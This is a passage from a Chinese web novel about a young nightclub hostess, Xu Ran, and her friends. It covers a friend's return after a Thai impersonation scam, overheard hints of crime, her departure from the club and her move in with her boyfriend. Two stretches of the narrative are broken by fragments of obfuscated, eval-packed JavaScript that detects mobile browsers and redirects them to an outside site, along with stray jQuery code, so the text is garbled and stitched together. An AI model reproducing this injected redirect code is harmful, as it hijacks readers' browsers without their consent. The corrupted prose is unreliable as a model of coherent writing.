马杰伸出一只手指,轻轻戳她太阳穴——现在路西法生意不好,徐炀这尊佛他是无论如何都得伺候好的,这也是邵骏辉的意思。徐炀不仅是路西法的人脉,更是邵家的人脉——去年底徐父高升至省住/建委,风光无两。 “这是老天给你扔了个金饭碗下来。傻子才不接着。” 许冉愣了好一会儿,忽然觉得遍体生寒,手臂上的寒毛都竖起来。马杰还在那儿神神叨叨,许冉忽然捂着胸口,低头,哇地一声吐了。 马杰见状一蹦三尺高,使唤李迈克进来打扫。对话就这样暂时揭过去。 李迈克把许冉扛回休息室,问她:“姐,你没事儿吧?不行我陪你上医院。” 许冉摇摇头,她是装的。 李迈克问她,老马欺负你了? 许冉又摇摇头,说,没有。 这件事许冉谁都没说。越有事儿她越是这样,谁都不说,面上看一切照旧。她习惯了自己解决问题。 她开始失眠,有的时候睡不着就干脆爬起来看会计课本,只有在背知识点的时候,她才能找回平静,比睡觉还管用。 要走了。一定要走了。她对自己说。 - 那个周末唐小勇带着妹妹和母亲来桐城看病,谢存山特意请了半天假,几人在麻子家聚餐。 唐小勇的妹妹叫唐小玉,名字是哥哥取的,小姑娘九岁了,西瓜头,话少,一双黑白分明的大眼睛。 几个男人在厨房里张罗晚饭,许冉和小苗带着唐小玉去街上买奶茶吃蛋糕逛街。唐小玉很少来桐城,看什么都新鲜。她们给她买了一身裙子,又带她去穿水晶手链,那一阵子桐城流行这个,颜色,寓意,很多讲头。一家小铺里挤十几个女孩儿,都在埋头穿珠子。 唐小玉虽然还是有点拘谨,但特别高兴,把手链摸了又摸。 最后她还花自己的零花钱给妈妈挑了个漂亮的手机链,也是亮晶晶的。她说妈妈耳朵不好,把手机揣在脖子上,开震动模式,有事儿就能随时联系了。 唐小勇说母亲的检查结果很好,医生说吃药就能解决。 他的新工作也落妥了,在附近的化肥厂拉车,一天两趟,一趟三小时,晚上还能赶上家里的饭。 吃了饭不久,唐家人就起身了。大伙儿一起送他们上车。 回家刚拐过街角,许冉的电话忽然响了。一个不认识的号码,她按掉了,对方又执着地打过来。 许冉接了。里头沉默一阵,接着听到啜泣的声音。 “许冉。我回来了。你能来帮我开门吗。我钥匙丢了。” ——消失了六十多天后,万小琴回来了。 * 许冉预想的最坏的情况还是发生了。 万小琴被骗了。 落地泰国后,向老板带她确实悠哉了几天,住的都是五星酒店,吃的都是豪华大餐。 玩到第五天的时候出事了。早晨向老板说要与客户相见,约定傍晚在酒店顶楼餐厅吃饭,万小琴久等到晚上十点,向老板仍未出现,且手机接不通。房间总共定了五晚,原计划第六天向老板就要带她去见他的家人,搬去他的别墅居住。 她语言不通,没有及时报警。当夜三点她被另一通电话吵醒。电话中的声称是中国驻泰国大使馆,说向老板牵扯进了一桩人口器官买卖组织的案子,她现在也是嫌疑人之一。 万小琴毕竟社会经验丰富,还有些将信将疑,接着电话被转接给‘公an厅’,接线员准确地报出了她的身份证号码,户籍所在地,银行卡信息。这直接打消了她的怀疑。 对方要求她马上入住指定酒店,并切断与外界的全部联系。只保持与他们的单线联络。 她删除了所有社交和聊天软件,以免被犯罪集团‘监听’‘灭口’。同时要求她手机随时保持畅通,每小时都要进行汇报和联络以保证她的安全。 接下来的几天,他们通过视频对万小琴进行了全方位的精神打击,为了进行‘汇报’,撇清嫌疑,万小琴无法正常睡觉,甚至不被允许拉开窗帘。他们给万小琴展示涉案的犯罪组织的‘罪行’,里面有shi体和人体器官照片。 “你怎么发现被骗的。”许冉问她。 万小琴洗了澡坐在许冉的书桌前吃苹果。她瘦了很多,两腮下陷,机械地咀嚼。 许冉给她用竹席和垫被在地上摊了个地铺。 “在那个酒店躲到大概第六天的时候,他们突然说案子有了进展,要我交取保候审金。说我涉案重大,要先交十万。等回国向派出所报到后退还。” 万小琴扯着嘴角诡异地笑笑,“在那之前他们从没提过钱。一提钱,我突然就醒了。我答应了他们尽快筹钱,‘汇报’后从酒店后门叫了个三蹦子,到了最近的警察局。一问才知道,我已经是这个月受骗的第三个中国女人了。” 她顿了顿,神情仿佛陷入回忆,问许冉,“你知道去警察局的路上我在想啥吗。” 许冉摇摇头。 “我在想判刑,把我毙了都行。要我拿十万块钱出来,想都别想。”万小琴又扯动嘴角,哑着嗓子发出类似笑的含混的声音。 “还好。钱没转。”许冉心有余悸。 “光是信用卡就是一屁股债了。” 那张信用卡自然也不是向老板口中的‘副卡’。两人的消费实打实地都在万小琴名下。 万小琴在大使馆协助下飞往深圳完成了报案,之后又去了深圳的姨妈家中避了两个月风头。 ——她不清楚向老板这伙人到底有多大的能耐。而且向老板知道她几乎所有的细节。她害怕被报复。 “在深圳我几乎没出过门。最多在城中村里面走两步。到了三月底,公安局联系我,说这伙人抓了一半,另一半跑到印尼去了。我姨妈家也挺困难,不能一直赖着,我就回来了。” 许冉静静地听,忽然觉得万小琴好像变了一个人——具体她也说不上来,只觉得她从前的那种泼辣果敢忽然消失殆尽了。 她头回在万小琴的脸上看到疲倦的神情,有些违和。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243373|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >万小琴说,“你放心,我肯定不在你这儿老赖着。等明天我去把押金拿回来,就去另找房子。” 许冉说,“没事儿,小琴姐,你先住着。他们人都很好的。” 万小琴说,“久了招人烦。” 她对她眨眨眼。 万小琴在回到桐城后的第五天搬离了许冉的房间。 又过了一周,她告诉许冉,她要回路西法了。 - 万小琴回路西法是马杰点的头。 她走的时候与马杰闹的并不愉快,至于马杰为什么又愿意她回来,不得而知。至于为何去而复返,万小琴不作解释。 她几乎与从前无二,人前笑起来依旧张扬妩媚。 但只有许冉知道,她是痛苦的,她不止一次撞见过她在后门的那一排垃圾桶后头低声哭。 她从前很少见万小琴哭。上一次还是与紫毛分手。 万小琴回来后,关于她的流言蜚语几乎没断过。有人说她是逼宫未果被大婆扫地出门的,有人说在医院的妇产科遇见过她。后来万小琴在化妆间闹过一次,把其中一个嚼舌头的人的脸抓破了,从此再没人敢惹她。 ——她与所有人都疏远了,包括许冉。唯一一次联系是问她要去年最后一个季度的水电费。 偶尔许冉望着自己房间的穿衣镜,会想起万小琴,想起那面被紫毛砸碎的镜子。 但对于许冉来说,万小琴的事儿只是插曲,毕竟她自己的日子还没过安稳过明白呢。 她从年后开始就忙得团团转,像个拙劣的杂耍演员。 但她喜欢这种忙碌的感觉,只要忙起来,那种深夜走在路上的迷茫感觉就暂时消失了。 给麻子店里帮了一段时间的忙,有天她突发奇想决定去考个初级会计职称,上网一看,考试时间就在四月底。也就是说只有一个月的复习时间了。 她问谢存山,我还考吗。要不等明年? 谢存山说,考,现在就考。我觉得你能行。 谢存山说她能行,那就一定能行。 这一个月许冉跟打了鸡血似的。白天就泡在图书馆学习,五点图书馆关门,她就回家花两三个小时处理麻子店里的杂活儿,然后再换了衣服去路西法上班。每天晚上最多就睡五个小时,中午支撑不住了就在图书馆里打个盹。 有时候谢存山中午来陪她会儿,她就枕着他的胳膊舒舒服服地睡一觉。 她从路西法离开的时间越来越早,马杰怨言颇多,甚至还把她叫到办公室指着鼻子骂过一顿。说要她去股东部她不去,不知好歹,不懂感恩。 许冉发现自己好像不那么怕他了。等马杰发完了脾气,她才说,马经理,您消消气,要不您扣我工资吧。 她已经打定了主意,或早或晚,一定要走了。 ——要考试的事情她只告诉了小橙。别人可能会说她瞎折腾。 但她知道小橙会为她高兴。 考试的前一天小橙特地约她出来到江边散心。她送她一个小小的护身符,说是她高考之前家人给她上南岳求的,她超常发挥,考上了好学校。 许冉诚惶诚恐地把符袋放进了钱包的最里层。 那是个和暖明媚的春日,天是婴儿蓝,一丝杂质也没有。 小橙说有个美国电影,讲的是一个住在假的世界里的人。她说电影里面的天也是这么蓝, 许冉永远都记得那一天。她们沿着江岸散了很长很长的步。江滩上有好多小孩儿在放风筝,还有一只黑眼睛黑毛的小狗凑过来闻她们的裤脚。 路过卖风筝的小摊儿,小橙看了又看。 许冉说,要不咱们也放一个。 小橙说,下回吧。他们卖的太贵了。下回吧。 考试那天谢存山特意请了一天假陪她。早上他开摩托车来接她,路上他开得很稳,问她,2b铅笔带了吗,黑色水笔带了吗,橡皮带了吗。对了,最重要的,身份证呢。 许冉圈着他的腰笑,抬头眯着眼,感受春天的风,有晚香玉和栀子的香气。 其实她前两天一直很紧张,到了当天反而不紧张了。她背上的旧书包沉甸甸又轻飘飘的,一切都充满了希望! 考完试他俩久违地去逛街。 这一天不光是考试的日子,还恰巧是许冉的生日。她十九岁了。 许冉给自己买了一双白色的球鞋,那一阵流行这种‘小白鞋’。四百多,她没给自己花过这么多钱。 提着鞋他们又去吃四川火锅,那一阵桐城开了好几家四川火锅,每次许冉都被辣得跳脚,但过了一阵又还想去吃。谢存山一度怀疑底料里下了罂粟壳。 吃饱喝足谢存山要买单,许冉不让,两人站在柜台前石头剪刀布,许冉赢了。服务员也是同龄小姑娘,抿着嘴直笑。 晚上他们意犹未尽,又去看电影,看的是战狼。小苗和麻子上周就去看过了,说很带劲。 但许冉实在太困,考完猛然松弛下来,竟然在枪林弹雨里睡了好长一觉。 ——这天晚上许冉回到家,发现窗台上玻璃缸里一直‘冬眠’的壁虎真的活了。 23. 2014 春光短暂。 四月末的时候突然下了一场豪雨,两天两夜都没停。 登高巷全淹了,谢存山说别人的拖鞋都漂进了他家里。 桐城的梅雨季如期而至。 麻子家楼层高,许冉今年再不用担心墙角长霉。他们几人一早就去登高巷帮谢存山‘抢救’财物,把外婆种的黄角兰一盆一盆搬到阁楼,搬完了他们在墙角发现一个老鼠洞。麻子说要不要给它捣了。外婆说,算了,这老鼠挺懂事,不上楼。 外婆腿脚还没好全,就支了个小炉子,在阁楼上煮酒酿鸡蛋给他们吃。 木头的凳子桌子晒透了还能用,但冰箱淹了水,彻底报废。 谢存山和麻子一块儿把它扛到巷口卖废品,得了一百块,他们四人转头就去下了馆子。许冉馋一家牛蛙馆很久了,一直没舍得去。 谢存山最讨厌潮湿气候,梅雨季来之后他一直都蔫蔫的,中间还病了一场,发了好几天高烧。他打死不去医院,在家里烧得都说胡话了,黄艾玲急得半夜给麻子打电话,他们过来把谢存山扛去了医院。 医生说肺都开始白了,再晚点来真的会出人命。 许冉守了他两天两夜没合眼。 谢存山到底年轻抵抗力好,到了第三天烧退了,人也清醒了,咧着开裂的嘴巴有点不好意思地冲她笑。许冉气得推他头,他还很虚弱,眼冒金星地求饶。许冉又用棉签沾了凡士林给他一点一点涂嘴唇。 ——给谢存山守床的时候黄艾玲告诉她,谢存山不爱来医院,他妈妈出事的时候,他是一路跟着救护车来的。伤的是大动脉,血在救护车上就流完了,到了医院只来得及盖上白布。 医生看谢存山恢复得快,要他收拾收拾隔天就出院。许冉回家歇了一晚,第二天按照他吩咐的带了套换洗衣服和剃须刀来接他。 谢存山洗了把脸,刮了胡子,换了衣服,总算觉得清爽多了。 许冉站在他后头,在镜子里看他,说,瘦了好多。 镜子里的谢存山棱角分明,肩背宽阔线条流畅,他最近嫌麻烦把头发剃成了寸头,愈发有了些成熟男人的气质,具体说不上来,有点...性感。 谢存山嗓子还哑呢,咧嘴笑说,瘦点好。不得脂肪肝。你摸摸,腹肌是不是更明显了。 他拉着她的手往腰上带,又往下....哪里都是硬邦邦的。 处的久了,两人都百无禁忌起来。 什么跟什么啊。许冉骂他耍流氓,红了脸,笑着去掐他。 出院那天许冉还撞见了王玉芬和蒋东杰。 谢存山嫌住院部上下电梯人多,拖着她走绕道门诊大楼,转着转着来到妇产科。 墙角一拐,许冉远远就认出了自己的母亲和继父。他们并排坐在b超室前排队,背后有一整面温馨的粉色宣传栏,上面印着抚触和母乳喂养的好处。 王玉芬的肚子大得出奇,甚至丑陋。蒋东杰手里拿着卡通水壶,又温馨得违和。 许冉没有再去看母亲的脸。她低下头说,谢存山我们走另一边吧。 谢存山低头看看她垂着的眉眼,再抬头看看,也就明白了是怎么回事。 王玉芬的照片他见过的,有一阵子许冉的头像是她和王玉芬的合影,那时候她还很小,抱着米老鼠的玩偶,王玉芬还很年轻,穿一条黄色连衣裙。许冉继承了她的眼睛。 那些都是五月的插曲。 淋了一整个月的雨,到处潮得令人呼吸不畅,夏天却又迫不及待地来了,天上晒着,地上蒸着,季节之间既缺乏一些优雅的过渡,还总是反复无常,这是桐城的常态。桐城人大都习惯了,街上穿短袖穿毛衣的都有。 谢存山病已痊愈,又骑上他的小电驴开始走街串巷地送外卖。 他最近在思考着想把那辆摩托车卖掉,毕竟平时生活小电驴就够用,要是能卖个小一万,就能把出来租房的事情正式提上议程。 过年的时候做的承诺他都记着呢。他不想对许冉言而无信。 麻子偷偷告诉他许冉最近老是失眠,每次他起夜上厕所,看到她的房间的灯总是亮着的。 谢存山问过她一次,她什么也不说,说她睡前看书忘记关灯了。就这么轻轻松松揭过去。她就是这样,什么事情都藏心里。 她不说谢存山也不再逼她。他欣赏也尊重她。她遇事沉得住气,比他成熟。 黄艾玲说这是一种智慧。但她又感叹,这孩子不容易,应该从小就是自己做主。 刚在一块儿的时候他还会陷入偶尔的自我怀疑,觉得许冉对他,不像小苗对麻子,不够热烈。她也从不对他说爱这个字,好像对她来说这个字格外难以启齿。 后来他又很快自洽了,他和许冉一样,享受眼前的亲密和陪伴。 而且,她只是不挂在嘴边,她很诚实,她总是说,‘谢存山我不知道爱应该是什么感觉,但我喜欢和你待在一起,想一直和你待在一起。这算吗?’ 世界上还有比这更好的表白么。十九岁的谢存山觉得没有了。 不过黄艾玲的话点醒了他。如果她不想倾诉也没关系,他可以陪着她。她喜欢和他在一起,那他就和她一直在一起。 他虽然失去了母亲,但他有外婆,有发小,许冉好像一直都是一个人,孤零零的。 如果能住在一块儿,起码她失眠他可以陪着失眠。如果她还是睡不着,他可以带她去兜风,压马路,吹风,二十四小时便利店里买关东煮和冰淇淋。她想吃什么他都买给她。 送外卖马上就满一年,他抠抠嗖嗖攒了三万多块钱。 他现在不是个穷光蛋了。 麻子的微信签名是,陪伴是最长情的告白。他以前觉得真酸啊,现在觉得真有道理。 - 谢存山行动力很强。六月末,他跟龙大哥请了半天假去修理厂卖车。 车行的人还认得他,知道他是唐小勇罩的。招呼他,“怎么又要卖了?骑着不过瘾?” 他没答,看车行的玻璃门上贴的,‘招机械修理小工。’ 问,这个我能干吗。 车行的人打量他,说,十八岁满了吗? 谢存山点点头。 那就能干。不过干这活儿得能吃苦,还得机灵。你行不行。 谢存山说,怎么不行。 这人个子不高,留着小胡子,手上还攥着大钳子,见谢存山一副初生牛犊不怕虎的模样,就笑。 他说,你就叫我老陈吧。我们这儿当小工得干两个月才能转正,试用期工资少,两千,管两顿饭。试用期过了,三千五,干得好还有奖金,成吗。 谢存山点头,说,其他都行,我就一个条件,我晚上得送外卖,要早点儿走,晚饭不用管,能不能再多加二百。 老陈是这里的修理老师傅,爽快答应了,说,那你过两天来试工。 老陈给他的摩托车算了个好价钱。 谢存山开着车来,走着回去,走在路上还一直看银行卡的入账消息。 摩托车十分钟的路,走路要半小时,但是他走啊走,心里很高兴。 他这段日子一直在想出路,也去试着找过一些地方。他没学历没文凭,周围人给他推荐最多的还是夜店保安,搬运工之类的活儿。他不想去,觉得本质上和送外卖没有区别。他还去健身房打听过,他身体素质好,考证当个教练也不错。健身房让他试了几天工,派他去发传单,发了两天他就被莫名其妙地炒了,说他虎着脸,有姑娘主动上来搭讪也不理睬,怎么揽客? 没想到今天得来全不费功夫。 麻子的父亲以前也是在修理厂做学徒,后来自己开了修理厂,再后来攒了第一桶金娶妻生子去日本做生意。谢存山想,在修理厂好,能学到技术,学到真本事。 他给许冉发消息,说,今晚我来接你!去吃小龙虾。有好事儿。 - 收到谢存山微信的时候,许冉正往脸上盖粉底。 晶晶见她盯着手机微笑,凑上来问,男朋友吧? 许冉点点头。抬起眼睛的时候触碰到坐在沙发上抽烟的万小琴的眼神。后者刚刚在看她,现在不自在地挪开。 她和晶晶正聊着天,化妆室的人忽然被推开了,门‘嘭’地一声砸在墙上,发出巨大的声响。 马杰后头跟着好些男人,凶神恶煞的,许冉只认出了一个,是那个脸上有疤的男人。他是徐炀的人。 马杰态度倒是过得去,只说,有客人说丢了贵重物品,有人拿了的赶紧交出来。 没人吭声。 马杰说,没人认?那就只能搜了。总不至于要闹到警察那里去。大伙儿觉得呢。 储物箱,化妆台的抽屉,全部被打开。东西被扔的到处都是,眼影盘撒一地,花花绿绿。 搜身的人只有一个,是那个有疤的男人。 马杰叫他聂哥。他一句话都没有说,搜身的时候手特别重,有几个刚出来做事的姑娘被吓得哭出了声,喊着不干了,抓着包要走。 马杰站在门口,厉声指着她们说,今天不搜完,谁也别想走。不想惹事最好都把你们的嘴巴闭紧一点。 许冉浑身上下也被这个男人摸了个遍。他没有多余的动作,也不是在占人便宜,但她觉得很不舒服,像待宰的牲畜一样毫无反抗的可能。 他高大异常,身高和衣柜几乎齐平。许冉瞪着门口的马杰,再昂起头瞪他, 他的目光阴恻而直接,像肉食动物审视小型猎物一样不带任何情感。 马杰顺手拿起一个烟灰缸,往地上一砸,说,哭哭哭,哭丧呢? 她们从没见马杰这么失态过,连在路西法待了两年的万小琴都一副疑惑的表情。 马杰一行人无功而返,舞池也开了,众人被这一出搞的惊魂未定,拖拖拉拉陆续往门外去。 晶晶压着胸口,说,再也不来了,明天我就找正经工作去。她又问,莉莉姐,莎莎姐病了吗?她好几天没来了。 莎莎几乎从未请过假。许冉望了望她的化妆桌,那里还有一颗塑料头颅,上面花花绿绿地垒着她的几顶假发。 - 十二点过,许冉在吧台旁陪几个来桐城旅游的年轻人喝完了一轮酒,路过楼梯,撞见李迈克。 他从三楼下来,拦住她,说,“好姐姐。你能不能帮我送两瓶酒去五楼。我这儿走不开,三楼全满了。马总今天脾气不好。” 许冉又想到马杰那张阴恻测的脸。 李迈克领着她往酒柜去,从酒柜台下面掏出两瓶昂贵的日本威士忌,“琳达姐要的。别人我不放心。五楼你也去过的。” “哪间包房。” “好像是‘蓝湖’,你上去了交给琳达姐就行。” 直达五楼的电梯坏了。许冉乘普通直梯到达四楼,再从角落的旋转楼梯走上楼。琳达不在,整个楼层空无一人。门僮也不见了。 还是黑镜似的空间。这次她看清楚了光源的由来,是廊柱背后后小小的神龛,如来的石像前有明灭的白色蜡烛。 她站在‘蓝湖’臃肿的大门前犹豫不决。忽听里头传来玻璃爆裂的声音,稀里哗啦一片。两个声音,一个冷静,一个激动,朦朦胧胧地,好像在争吵。许冉听不清楚,也不敢再上前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255623|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “上个月...那批...明明出了五十份,账上怎么...” "这事儿要不是...摆平...” “我他妈怎么知道他们怎么混进来的,操...你那些保安都是摆看的...” “今晚你找人把东西都运走,用你爸的军/牌车... 许冉后退几步,觉得听到了不该听的东西。 两个声音她都听出来了,一个是徐炀。一个是邵骏辉。 正犹豫要不要下楼。 “莉莉。” 许冉吓了一大跳,转过身,琳达正站在她身后。她穿着那么尖的高跟鞋,怎么踩在大理石上一点声音都没有呢。 很久没见琳达,她变得更美了,艳丽夺目,穿着琥珀色的高开叉长裙。 琳达身后还跟着一个人,是‘聂哥’,他一身黑色,几乎融进身后的背景里。只有那双眼睛格外清晰,直直地盯着许冉的脸。许冉这才注意到,他有一只眼睛是假的,因为眼珠是蓝色的。 “琳达姐。我来送酒。” 那扇沉重的大门在此时被拉开了。 徐炀慵懒地倚着门,像动物世界纪录片里刚刚吃饱的肉食动物。 见许冉端着酒,挑眉,问,“马杰叫你来的?进来玩?” 诺达一个房间,里面只有他们两人。 邵骏辉正坐在里头抽烟,神情很沮丧。 许冉害怕得话都说不出来,点点头,又摇摇头。 她胆怯的模样似乎取悦了徐炀,后者歪嘴笑起来。 琳达接过酒,深深看她一眼,说:“你走吧。” 许冉惊魂未定,一秒都不再逗留,也不敢回看。几乎逃回化妆间,想起那些只言片语,想起廊柱背后的神龛,觉得坐立难安。 五楼的一切都像个谜。 她想去问李迈克,想了想又放弃。在这儿打听得多不是什么好事。 她想了想,给姜毅发消息。 ——姜毅去了广州后,两人陆续有联络,多是他打听万小琴的消息。许冉没有想到,他这么长情,对他有些刮目相看。 但万小琴受骗的事情,她没跟他说,她想万小琴应该不愿意让任何人知道。尤其是姜毅。 姜毅现在替人跑冷链,送海鲜生货到各大餐馆,他计划年底自己买台二手冷链车,自己当老板。他告诉许冉,广州到处都是机会,工资也比桐城高。除了潮热不适应,其他都好。 许冉发消息问他,姜毅哥,干货是什么意思,猪肉又是什么意思?你听说过吗。 空了一会儿,手机就响了。姜毅回复... … 许冉低头,盯着那两个字,头脑空白了两秒,接着退出程序,把这条消息彻底删除。 化妆间忽然又有人推门进来,是万小琴,她身上的豹纹紧身裙,许冉从前见过,这样一看,才发现她瘦了许多,裙子都不再合身,有些松垮。 “病了?脸色这么不好。”万小琴一屁股坐在沙发上,点燃一根烟。 许冉下意识地摸摸脸颊,说,没睡好。 万小琴问,“之前马杰要你去股东部?” 世上没有不透风的墙,何况是路西法这种地方。她老实点头,“但我应付不来,没答应。” 万小琴扯着嘴角一笑,不再多问。 室内陷入诡异的沉默。好像她们都被这间房间困住了,说不出话来。 许冉想起去年的这个时候,又热又潮,万小琴和姜毅在家看球,吃串儿,有时候也叫上她。喝醉了,他们就在客厅里勾肩搭背,跳不伦不类的探戈,万小琴笑的很张扬。 - 谢存山卖了摩托车,买了辆二手小电驴,和往常一样在路西法门口等许冉。 许冉卸了妆换了衣服,素面朝天,扯出一抹笑,问,你的摩托车呢。 “卖了。不喜欢了。” 谢存山一脸满不在乎,又迫不及待地向她宣布,“我找到工作了,在车行。” 许冉攀上后座,紧紧地搂着他腰,柔软的四肢缠住他硬邦邦的背,说,“挺好!电动车好!很环保!” 谢存山骑着新车带她去江边‘兜风’,有骑机车的少年不断地轰隆隆地超过他们。 许冉在巨大的噪音中张开双臂,风把他们的衣服灌满,猎猎飘扬,她觉得自己也像一只风筝——夜里的风筝,自由,又迷茫。 她好像流了眼泪,又好像没有,风把一切都带走了。 后来谢存山停下来,他还像骑摩托车那样用两脚撑地保持平衡,许冉贪恋地靠在他的肩头,说,“谢存山。我们去找房子,搬出去住吧。” 谢存山回过身子,捧起她的脸,细致地吻她,唇珠,唇角,试探地深入。许冉分外温柔地迎合这个吻。唇齿间的游戏和依偎。湿润的,绵长的。 结束的时候他们一个气喘吁吁,一个面红耳赤。谢存山黑而深的眸子直直盯着她。许冉到底脸皮薄,问他,你看什么呀,不许看。 黑暗之中,眼波流转,不知不觉,她眼角眉梢已有了一种女人的柔媚。 谢存山说,你好看啊。 许冉没憋住。两个人一起笑开了。 他们是从爱上对方才真正开始长大成人的。从前他们是两块被随意丢弃的碎片,没有人教他们怎么去谋生,保护自己,爱别人。 现在他们逐渐地把自己也把对方拼起来,成了男人和女人。 真正的人,善良的,真诚的人。 - 2015年6月的最后一天,一个普通的日子,许冉彻底离开了路西法。 【第一部分完】 24. 2014 离开路西法后,许冉把那些廉价的裙子都扔了。之后便在麻子店里打工过渡。她离开路西法,他们都为她高兴。得知她离职那天,麻子还掏腰包请他们去江边的高档酒楼吃饭。 ——许冉第一次来这么高档的地方。 那几年桐城开始搞城市照明提质工程,要打造‘网红城市’。餐桌边的玻璃窗望出去就是沿江数不尽的高高低低的楼宇,跨江大桥,被精美的变幻不息的灯光点缀着。 他们旁边那桌是一家五口,爷爷奶奶,爸爸妈妈,和孩子。 他们谈吐文雅,微笑的弧度也那么得体,一看就是这种地方的常客,对江景也见怪不怪了。 孩子大概读高中了,低头玩着手机,今天应该是她的生日。她妈妈把纸质小皇冠给她带上,又被她不耐烦地扯下来。然后他们开始一起唱生日歌。 麻子的店到底庙小,拢共只有那些活儿可以给她干。许冉收入锐减,开始到处找工作,但碰壁的时候居多。 迫近毕业季,大学生都找不着工作,何况是她。她堂哥今年也毕业了,姑姑说他找不着工作,问家里又要了一万块钱,说要租房备考公务员。 ——后来经张鑫的介绍许冉暂时去了一家连锁的西餐厅打工。 忙的时候一周七天都要去,忙得团团转,早上十点到晚上十点,结束了小腿疼得站都站不住。——但不忙的时候一周也等不来两天的排班。 张鑫告诉她,餐厅里工作都这样,你得请经理吃饭,或者送点礼,经理才会给你多排班,排好班。 许冉这才恍然大悟,下了血本请经理在商场里吃了一顿牛排。 最好的牛排套餐188一份,许冉没舍得给自己点了个鸡腿饭。沙拉是免费的,但她不敢拿太多,怕经理瞧见了觉得她小气。 走的时候经理剔着牙说,这牛肉煎老了。其他还成。 这顿饭后许冉的排班渐渐多了起来。 再过了一个月,经理把她叫到办公室‘谈话’。谈着谈着,他的手就摸上了她的肩膀,脖子。 ‘其实忍忍就行了吧,毕竟他也不会真的在这里怎么样。’ 经理微微湿润的手指接触到她的皮肤的时候,许冉脑海中闪现这样的念头。在路西法的时候也这样。忍忍就好了,不是吗。 许冉忽然睁开眼睛,啐了他一口,把唾沫吐在他眼睛上,男人气得哇哇叫,手乱抓,他指甲长,黄黄的,在她脖子上抓出了一道鲜明的血痕。 许冉走了。再没回过那个餐厅。 那个周末谢存山陪她去医院看奶奶。 奶奶的手术费终于凑够了,已经住进了县里的医院,下周就可以手术了。 许冉捂着她枯木一般的手,说,奶奶这是我男朋友。 奶奶的心脏已经很虚弱了,说话都很困难,说,多好啊。多好的小伙子啊。 回程的大巴上谢存山才注意到许冉脖子上的痕迹。他现在白天学修车,晚上送外卖,周末两人还得找房子,累的够呛,每天倒头就睡,他也没顾得上关心许冉。 怎么弄的。他皱着眉问她。 许冉说,被猫滋的。 谢存山问她,打狂犬疫苗没。 许冉眨眨眼,“打了,打的进口的那种。” 许冉又从他身上支起双臂,捧着他的脸,说,你怎么瘦这么多。 谢存山笑一笑,说,中午盒饭里没肉。老板可抠。 - 因为预算有限,他们光是找房就耗了小两个月。等他们拿到钥匙的时候,桐城已经进入了早秋。 不知不觉他们在一起一年多了。 奶奶的心脏手术很顺利,医生说往后只需要吃药维持,这也意味着许冉身上的经济负担轻了很多。 除开给麻子店里帮忙,许冉也总算找到了一份靠谱的临时工作,在商场内衣店里站柜台。 许冉想找晒得到太阳的房子,小一点倒是没关系。谢存山想找离登高巷不要太远的房子,这样方便时常回家看一看黄艾玲。 他们前后看了二十来套房子,终于选中一套大体满意的,是桐城电子二厂的老职工小区,八十年代的房子,一居室,一共五层楼,房子在三楼,朝西,虽然客厅没有窗户,但下午卧室有太阳。没有电梯。 前租客留下了基础的家具,他们合计一番发现能省一大笔钱,第二天清早就去签了合同。房租一千,不包水电,比周围一圈的房子都便宜。 许冉把合同叠好,妥妥帖帖地放进塑料文件夹里。他们都很高兴,楼梯拐角,趁中介在前面走着,谢存山突然低下头在她脸上亲了一口,跟她勾肩搭背,说,走,今天出去吃,吃好的。 中介也很年轻,回头笑着说,是啊,找到好房就得吃点好的。这房子阳气足,旺人的。 那天晚上这顿庆祝的晚饭到底也没吃成。 外卖站缺人,谢存山临时被牛大哥叫走了。谢存山是个讲义气的人,牛大哥向来很照顾他,叫他填人手他从不拒绝。 正好小橙约许冉吃饭,许冉欣然答应。 离开路西法之后她只跟两个人还有联系,小橙和晶晶。小橙还在业务组,晶晶则在她之后不久辞了职,回家复读备考了。 临走之前她们还见了一面,晶晶不化浓妆的时候活脱脱就是个高中生,在玩偶店里走不动道,一口气可以喝两杯奶茶。 小橙依旧穿着朴素。但她气质太好了,就算最简单的黑白灰穿在身上,往闹市区马路口这么一站,也总有人斜着眼睛瞄她。 她上个月如愿去了一趟杭州参加大学好友小孩的满月宴,回来的时候就发现许冉已经离开路西法了。不过她也为她感到高兴,她说她老早就知道许冉不会一直做这行的。 许冉问她为什么。 她说,说不明白。就觉得你有股冲劲儿。西游记你看过吧,孙悟空冲破五行山那一集... 许冉开怀大笑。 她俩有个共同的爱好,吃辣,越辣越畅快。 许冉带她来吃辣牛肚火锅。两个人吃得眼泪和汗一块儿往外冒。 许冉没去过杭州,她问,小橙姐,杭州好玩吗,有没有艳遇,你有没有去雷峰塔,有没有遇到许仙。 小橙说,许仙没遇到,但我去了灵隐寺,那天碰巧正好是十五。在大殿里的时候收到你的消息,你说你辞了。我给你请了一条红绳。保你从此顺遂平安。 许冉感动得不行,欢天喜地地带上,又说,“小橙姐,上次你给我的护身符,我能不能还多留一段日子。我想接着考证。我觉得你那个特别有用!” 小橙爽快地说,留多久都行。 初级会计职称用途有限,找会计工作还远远不够。许冉碰了几次壁。 现在站柜台,时间反而比从前宽裕,有时候客人少,她还能躲在收银台后面看书。 她想不如趁热打铁,把英文四级也考了,她知道那是本科毕业生必备的。等考完,她就找个会计的工作,从头做起。 站柜台不是长久之计,一份工作要稳定,一定要有不断提升技能的空间,还得拥有某种不可替代性,不然很快就会被淘汰。她逐渐悟出了这个道理。 